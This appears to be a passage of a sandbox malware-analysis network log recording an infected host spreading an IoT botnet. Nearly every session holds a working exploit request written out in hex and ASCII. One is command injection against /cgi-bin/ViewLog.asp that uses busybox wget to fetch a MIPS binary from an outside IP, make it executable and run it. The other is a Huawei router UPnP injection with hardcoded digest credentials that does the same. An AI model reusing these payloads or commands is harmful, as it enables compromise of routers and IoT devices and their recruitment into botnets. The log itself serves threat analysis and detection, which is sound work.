/tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:11.686217070 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:11.877003908 CET	433	IN	HTTP/1.0 302 Redirect Date: Thu, 23 Nov 2023 04:18:11 GMT Server: Boa/0.94.14rc21 Accept-Ranges: bytes Connection: close Content-Type: text/html Location: /index.html Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 09 09 54 68 69 73 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 74 6f 20 61 20 6e 65 77 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 28 6e 75 6c 6c 29 2f 69 6e 64 65 78 2e 68 74 6d 6c 22 3e 6c 6f 63 61 74 69 6f 6e 3c 2f 61 3e 2e 0d 0a 09 09 50 6c 65 61 73 65 20 75 70 64 61 74 65 20 79 6f 75 72 20 64 6f 63 75 6d 65 6e 74 73 20 74 6f 20 72 65 66 6c 65 63 74 20 74 68 65 20 6e 65 77 20 6c 6f 63 61 74 69 6f 6e 2e 0d 0a 09 09 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head></head><body>This document has moved to a new <a href="http://(null)/index.html">location</a>.Please update your documents to reflect the new location.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
729	192.168.2.13	39702	94.122.127.76	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:10.725169897 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
730	192.168.2.13	53472	62.202.153.103	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:11.148696899 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
731	192.168.2.13	34554	94.28.171.50	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:11.179059029 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:11.412029028 CET	83	IN	HTTP/1.1 400 Page not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
732	192.168.2.13	60430	62.29.77.23	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:11.184588909 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
733	192.168.2.13	52572	95.237.11.224	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:11.285845995 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:11.507627010 CET	552	IN	HTTP/1.1 401 Unauthorized WWW-Authenticate: Basic realm="Protected" Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4b 73 65 6e 69 61 20 4c 61 72 65 73 20 57 65 62 53 65 72 76 65 72 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 23 33 33 33 33 33 33 3e 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 23 39 39 39 39 39 39 20 66 61 63 65 3d 22 56 65 72 64 61 6e 61 2c 47 65 6e 65 76 61 2c 73 61 6e 73 2d 73 65 72 69 66 22 3e 3c 64 69 76 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 3c 70 3e 3c 68 31 3e 55 6e 61 75 74 68 6f 72 69 7a 65 64 3a 20 50 61 73 73 77 6f 72 64 20 72 65 71 75 69 72 65 64 3c 2f 68 31 3e 3c 62 72 3e 3c 2f 70 3e 3c 2f 64 69 76 3e 3c 62 72 3e 3c 64 69 76 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 43 6f 70 79 72 69 67 68 74 20 26 63 6f 70 79 3b 20 32 30 31 35 2d 32 30 31 36 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 6b 73 65 6e 69 61 73 65 63 75 72 69 74 79 2e 63 6f 6d 2f 22 20 3e 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 23 66 66 33 33 33 33 3e 20 4b 73 65 6e 69 61 20 53 65 63 75 72 69 74 79 20 3c 2f 66 6f 6e 74 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 66 6f 6e 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>Ksenia Lares WebServer</title></head><body bgcolor=#333333><font color=#999999 face="Verdana,Geneva,sans-serif"><div align="center"><p><h1>Unauthorized: Password required</h1><br></p></div><br><div align="center">Copyright © 2015-2016 <a href="http://www.kseniasecurity.com/" ><font color=#ff3333> Ksenia Security </font></a></div></div></font></body></html>
Nov 23, 2023 05:18:12.507457972 CET	552	IN	HTTP/1.1 401 Unauthorized WWW-Authenticate: Basic realm="Protected" Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4b 73 65 6e 69 61 20 4c 61 72 65 73 20 57 65 62 53 65 72 76 65 72 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 23 33 33 33 33 33 33 3e 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 23 39 39 39 39 39 39 20 66 61 63 65 3d 22 56 65 72 64 61 6e 61 2c 47 65 6e 65 76 61 2c 73 61 6e 73 2d 73 65 72 69 66 22 3e 3c 64 69 76 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 3c 70 3e 3c 68 31 3e 55 6e 61 75 74 68 6f 72 69 7a 65 64 3a 20 50 61 73 73 77 6f 72 64 20 72 65 71 75 69 72 65 64 3c 2f 68 31 3e 3c 62 72 3e 3c 2f 70 3e 3c 2f 64 69 76 3e 3c 62 72 3e 3c 64 69 76 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 43 6f 70 79 72 69 67 68 74 20 26 63 6f 70 79 3b 20 32 30 31 35 2d 32 30 31 36 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 6b 73 65 6e 69 61 73 65 63 75 72 69 74 79 2e 63 6f 6d 2f 22 20 3e 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 23 66 66 33 33 33 33 3e 20 4b 73 65 6e 69 61 20 53 65 63 75 72 69 74 79 20 3c 2f 66 6f 6e 74 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 66 6f 6e 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>Ksenia Lares WebServer</title></head><body bgcolor=#333333><font color=#999999 face="Verdana,Geneva,sans-serif"><div align="center"><p><h1>Unauthorized: Password required</h1><br></p></div><br><div align="center">Copyright © 2015-2016 <a href="http://www.kseniasecurity.com/" ><font color=#ff3333> Ksenia Security </font></a></div></div></font></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
734	192.168.2.13	56348	62.29.28.18	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:11.304286957 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
735	192.168.2.13	56614	94.122.225.48	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:11.304384947 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
736	192.168.2.13	33096	156.254.71.225	37215

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:11.906214952 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:18:13.574177980 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:18:15.526185036 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:18:19.558166027 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
737	192.168.2.13	58864	94.121.111.22	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:12.126411915 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
738	192.168.2.13	52966	62.29.91.52	8080

Timestamp	Bytes transferred	Direction	Data
